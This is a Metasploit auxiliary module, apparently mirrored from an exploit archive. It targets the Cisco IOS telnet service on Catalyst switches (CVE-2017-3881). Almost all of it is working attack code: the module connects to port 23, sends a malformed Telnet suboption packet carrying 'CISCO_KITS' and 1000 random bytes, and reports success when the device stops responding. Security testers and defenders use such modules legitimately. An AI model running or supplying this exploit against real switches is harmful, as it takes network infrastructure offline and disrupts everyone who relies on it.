## https://sploitus.com/exploit?id=PACKETSTORM:180481
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS Telnet Denial of Service',
'Description' => %q{
This module triggers a Denial of Service condition in the Cisco IOS
telnet service affecting multiple Cisco switches. Tested against Cisco
Catalyst 2960 and 3750.
},
'Author' => [ 'Artem Kondratenko' ],
'License' => MSF_LICENSE,
'References' =>
[
['BID', '96960'],
['CVE', '2017-3881'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
],
'DisclosureDate' => '2017-03-17'))
register_options([ Opt::RPORT(23) ])
end
def run
begin
connect
print_status "Connected to telnet service"
packet = sock.read(200)
if packet.nil?
print_error "Failed to get initial packet from telnet service."
else
print_status "Got initial packet from telnet service: " + packet.inspect
end
print_status "Sending Telnet DoS packet"
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
disconnect
rescue ::Rex::ConnectionRefused
print_status "Unable to connect to #{rhost}:#{rport}."
rescue ::Errno::ECONNRESET
print_good "DoS packet successful. #{rhost} not responding."
end
end
end